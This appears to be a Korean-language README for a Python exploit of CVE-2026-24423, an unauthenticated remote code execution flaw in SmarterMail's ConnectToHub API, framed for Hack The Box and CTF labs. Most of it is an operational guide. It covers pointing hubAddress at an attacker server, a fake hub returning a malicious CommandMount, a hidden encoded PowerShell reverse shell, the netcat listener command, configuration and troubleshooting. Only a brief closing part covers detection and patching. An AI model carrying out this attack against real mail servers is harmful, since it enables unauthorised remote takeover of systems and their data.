
# CVE-2026-24423 익스플로잇 — SmarterMail의 ConnectToHub API에서 발생하는 치명적인 인증 없는 RCE. 빌드 9511 이전의 모든 버전에 영향을 미칩니다.
CVE-2026-24423을 대상으로 하는 Python 기반 익스플로잇으로, SmarterTools SmarterMail의 ConnectToHub 기능에서 발생하는 인증되지 않은 원격 코드 실행(RCE) 취약점입니다.
사용 목적: 공인된 보안 테스트, CTF, Hack The Box 랩, 통제된 연구 환경에서만 사용하십시오.
CVE-2026-24423은 SmarterTools SmarterMail에 영향을 미치는 인증되지 않은 원격 코드 실행 취약점입니다.
이 취약점은 ConnectToHub 기능에 존재합니다. 인증되지 않은 공격자는 악의적인 hubAddress를 제공하여 SmarterMail 서버가 공격자가 제어하는 서버로 HTTP 요청을 보내도록 만들 수 있습니다.
악성 서버는 제어된 SystemMount.CommandMount 값을 포함하는 조작된 setup-initial-connection 응답으로 응답합니다.
취약한 SmarterMail 인스턴스는 이후 이 값을 운영 체제 명령으로 처리하여 SmarterMail 서비스의 보안 컨텍스트에서 임의 명령 실행을 허용합니다.
이 취약점은 CVSS 4.0 점수 9.3(치명적) 을 받았으며 CWE-306: 중요 기능에 대한 인증 누락으로 분류됩니다.
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-24423 |
| 공급업체 | SmarterTools |
| 제품 | SmarterMail |
| 취약점 | 인증되지 않은 원격 코드 실행 |
| CWE | CWE-306 |
| CVSS v4.0 | 9.3 치명적 |
| CVSS v3.1 | 9.8 치명적 |
| 공격 벡터 | 네트워크 |
| 인증 | 없음 |
| 사용자 상호작용 | 없음 |
| 복잡성 | 낮음 |
| 공개일 | 2026년 1월 23일 |
| 수정 빌드 | 9511 |
공식 CVE 레코드는 이 문제를 ConnectToHub API 메서드를 통한 인증되지 않은 RCE로 설명합니다.
빌드 9511 이전의 SmarterMail 버전이 영향을 받습니다.
CVE 레코드는 영향을 받는 범위를 다음과 같이 지정합니다:
SmarterMail < 100.0.9511
2026년 1월 15일에 출시된 빌드 9511에는 공급업체의 수정 사항이 포함되어 있습니다.
< 100.0.9511
>= 100.0.9511
취약점을 재현하기 전에 항상 정확한 설치 빌드를 확인하십시오.
취약한 기능은 SmarterMail 시스템 관리 API를 통해 노출됩니다.
관련 작업은 다음과 같습니다:
/api/v1/settings/sysadmin/connect-to-hub
엔드포인트는 hubAddress 매개변수를 허용합니다.
개념적으로 공격자는 다음을 제공할 수 있습니다:
{
"hubAddress": "http://ATTACKER_IP:8081",
"oneTimePassword": "temporary-value",
"nodeName": "DC"
}
SmarterMail은 그런 다음 제공된 허브 주소에 연결하여 다음을 요청합니다:
/web/api/node-management/setup-initial-connection
공격자가 제어하는 서버는 악성 SystemMount 객체를 포함하는 JSON으로 응답합니다.
중요한 속성은 다음과 같습니다:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
CommandMount 값은 이후 취약한 애플리케이션에서 운영 체제 명령으로 사용됩니다.
이를 통해 공격자는 다음에서 전환할 수 있습니다:
인증되지 않은 HTTP 요청
에서:
원격 명령 실행
VulnCheck의 기술 분석에 따르면 공격자가 제어하는 hubAddress로 인해 SmarterMail이 공격자의 setup-initial-connection 엔드포인트를 요청하고 반환된 CommandMount가 임의 명령 실행을 제공할 수 있음을 확인합니다.
익스플로잇은 두 가지 구성 요소로 구성됩니다:
Python 서버는 다음을 수신합니다:
POST /web/api/node-management/setup-initial-connection
그리고 악성 SystemMount.CommandMount를 포함하는 조작된 JSON 응답을 반환합니다.
별도의 TCP 리스너가 대상에서 실행된 명령에 의해 시작된 연결을 수신합니다.
이 익스플로잇은 의도적으로 두 개의 별도 포트를 사용합니다.
8081
└── 가짜 SmarterMail 허브
4455
└── 리버스 셸 리스너
flowchart LR
A[공격자<br/>10.10.14.50]
H[가짜 SmarterMail 허브<br/>TCP/8081]
T[SmarterMail 대상<br/>10.129.57.86]
C[CommandMount<br/>명령 실행]
P[PowerShell]
L[리버스 셸 리스너<br/>TCP/4455]
A -->|ConnectToHub 트리거| T
T -->|HTTP POST| H
H -->|악성 JSON| T
T -->|CommandMount| C
C --> P
P -->|리버스 TCP| L
L --> A대상
|
| HTTP
v
10.10.14.50:8081
대상
|
| TCP
v
10.10.14.50:4455
이 포트들은 서로 다른 목적을 가지며 혼동해서는 안 됩니다.
익스플로잇은 Python 표준 라이브러리 모듈만 사용합니다:
http.server
json
base64
외부 Python 패키지는 필요하지 않습니다.
다음 변수를 편집하십시오:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
예제 HTB 환경의 경우:
LHOST = 10.10.14.50
LPORT = 4455
HUB_PORT = 8081
LHOST는 대상이 도달할 수 있는 공격자의 IP 주소입니다.
Hack The Box의 경우 일반적으로 HTB VPN 인터페이스에 할당된 IP입니다:
ip addr show tun0
예:
tun0:
inet 10.10.14.50
따라서:
LHOST = "10.10.14.50"
LPORT는 공격자가 리버스 연결을 수신하는 데 사용하는 TCP 포트입니다.
예:
LPORT = 4455
HUB_PORT는 악성 SmarterMail 허브에서 사용하는 HTTP 포트입니다.
예:
HUB_PORT = 8081
git clone https://github.com/<username>/<repository>.git
cd <repository>
편집:
nano exploit.py
설정:
LHOST = "10.10.14.50"
LPORT = 4455
HUB_PORT = 8081
터미널을 엽니다:
nc -lvnp 4455
예상 출력:
Listening on 0.0.0.0 4455
이 터미널을 계속 열어 두십시오.
두 번째 터미널을 엽니다:
python3 exploit.py
선택한 포트에 바인딩하는 데 상승된 권한이 필요한 경우:
sudo python3 exploit.py
예상 출력:
============================================================
SmarterMail fake hub
============================================================
[+] LHOST: 10.10.14.50
[+] LPORT: 4455
[+] HUB: 10.10.14.50:8081
[+] Waiting for SmarterMail...
============================================================
취약한 SmarterMail 인스턴스에 적절한 요청을 보냅니다.
제공된 hubAddress는 악성 HTTP 서버를 가리켜야 합니다:
{
"hubAddress": "http://10.10.14.50:8081",
"oneTimePassword": "tempst",
"nodeName": "DC"
}
중요한 값은 다음과 같습니다:
http://10.10.14.50:8081
리버스 셸 포트를 허브 포트로 사용하지 마십시오.
| 용도 | IP | 포트 |
|---|---|---|
| 공격자 VPN | 10.10.14.50 | — |
| 가짜 SmarterMail 허브 | 10.10.14.50 | 8081 |
| 리버스 셸 | 10.10.14.50 | 4455 |
| HTB 대상 | 10.129.57.86 | — |
결과 흐름은 다음과 같습니다:
hubAddress
↓
10.10.14.50:8081
↓
악성 CommandMount
↓
PowerShell
↓
10.10.14.50:4455
익스플로잇은 PowerShell 페이로드를 동적으로 생성합니다.
PowerShell의 -EncodedCommand 매개변수는 Base64 인코딩 전에 명령이 UTF-16LE로 인코딩되어야 합니다.
스크립트는 다음을 수행합니다:
encoded = base64.b64encode(
PS.encode("utf-16le")
).decode()
최종 명령은 다음과 같이 구성됩니다:
powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -EncodedCommand <BASE64>
이렇게 하면 페이로드를 수동으로 인코딩할 필요가 없으며 일반적인 UTF-8/UTF-16LE 인코딩 오류를 방지할 수 있습니다.
대상이 악성 허브에 도달하면:
[+] Received SmarterMail connection
[+] Path: /web/api/node-management/setup-initial-connection
[+] Body: ...
[+] Sending CommandMount payload
[+] Reverse shell -> 10.10.14.50:4455
리버스 셸 리스너는 이후 연결을 수신해야 합니다:
Connection received on 10.129.57.86 XXXXX
연결되면 기본 검증을 수행할 수 있습니다:
whoami
hostname
서버가 수신 중인지 확인하십시오:
ss -lntp | grep 8081
VPN 주소를 확인하십시오:
ip addr show tun0
LHOST가 대상에서 도달 가능한 주소와 일치하는지 확인하십시오.
HTTP 요청이 성공하면 첫 번째 단계가 작동 중임을 의미합니다:
대상
|
| HTTP
v
가짜 허브 :8081
반드시 두 번째 단계가 성공했음을 의미하지는 않습니다.
확인:
ss -lntp | grep 4455
Netcat이 익스플로잇을 트리거하기 전에 시작되었는지 확인하십시오.
또한 다음을 확인하십시오:
LHOST = 대상이 도달 가능한 공격자 IP
LPORT = 리스너 포트
Netcat 내부에 다음이 표시되면:
POST /web/api/node-management/setup-initial-connection
hubAddress를 리버스 셸 리스너로 지정한 것입니다.
잘못된 예:
hubAddress = http://10.10.14.50:4455
올바른 예:
hubAddress = http://10.10.14.50:8081
두 포트는 분리되어 있어야 합니다.
400 응답은 가짜 허브가 SmarterMail이 기대하는 구조를 반환하지 않을 때 발생할 수 있습니다.
응답에 다음이 포함되어 있는지 확인하십시오:
"SystemMount": {
"Enabled": true,
"ReadOnly": false,
"MountPath": "...",
"CommandMount": "..."
}
또한 요청된 경로가 정확히 다음과 같은지 확인하십시오:
/web/api/node-management/setup-initial-connection
공개 취약점 분석에서는 이 엔드포인트를 취약한 ConnectToHub 흐름의 일부로 식별합니다.
HTB 랩의 스크린샷을 여기에 추가하십시오.
예:

제안된 스크린샷:

표시:
[+] Received SmarterMail connection
[+] Sending CommandMount payload

다음을 포함하는 요청 표시:
{
"hubAddress": "http://10.10.14.50:8081"
}

표시:
Connection received on 10.129.57.86
및 결과 명령 프롬프트.
smartermail-rce/
│
├── exploit.py
├── README.md
│
└── screenshots/
├── nmap.png
├── burp-request.png
├── fake-hub.png
└── reverse-shell.png
익스플로잇의 잠재적 지표에는 다음에 대한 예기치 않은 요청이 포함됩니다:
/api/v1/settings/sysadmin/connect-to-hub
및 SmarterMail 서버에서 이전에 알려지지 않은 HTTP 호스트로의 외부 연결.
관리자는 또한 애플리케이션, IIS/리버스 프록시 및 네트워크 로그에서 의심스러운 ConnectToHub 활동을 검토해야 합니다.
CVE-2026-24423은 CISA의 Known Exploited Vulnerabilities 카탈로그에 포함되어 있어 랩 환경 외부에서도 익스플로잇이 관찰되었음을 나타냅니다.
주요 해결 방법은 SmarterMail을 빌드 9511 이상으로 업그레이드하는 것입니다. 공급업체의 2026년 1월 15일 릴리스에서 취약점을 해결했습니다.
즉각적인 패치가 불가능한 경우 조직은 다음 사항도 추가로 고려해야 합니다:
ConnectToHub 요청에 대한 과거 로그 검토.이 프로젝트는 공인된 보안 연구 및 교육 목적으로만 제공됩니다.
소유하지 않았거나 테스트에 대한 명시적 권한이 없는 시스템에 이 익스플로잇을 사용하지 마십시오.
저자는 이 소프트웨어 사용으로 인한 오용, 손상, 데이터 손실, 무단 액세스 또는 기타 결과에 대해 책임을 지지 않습니다.
다음과 같은 통제된 환경에서만 사용하십시오:
CVE-2026-24423은 다음에 의해 발견되었습니다:
CVE는 2026년 1월 23일 VulnCheck에 의해 공개되었습니다.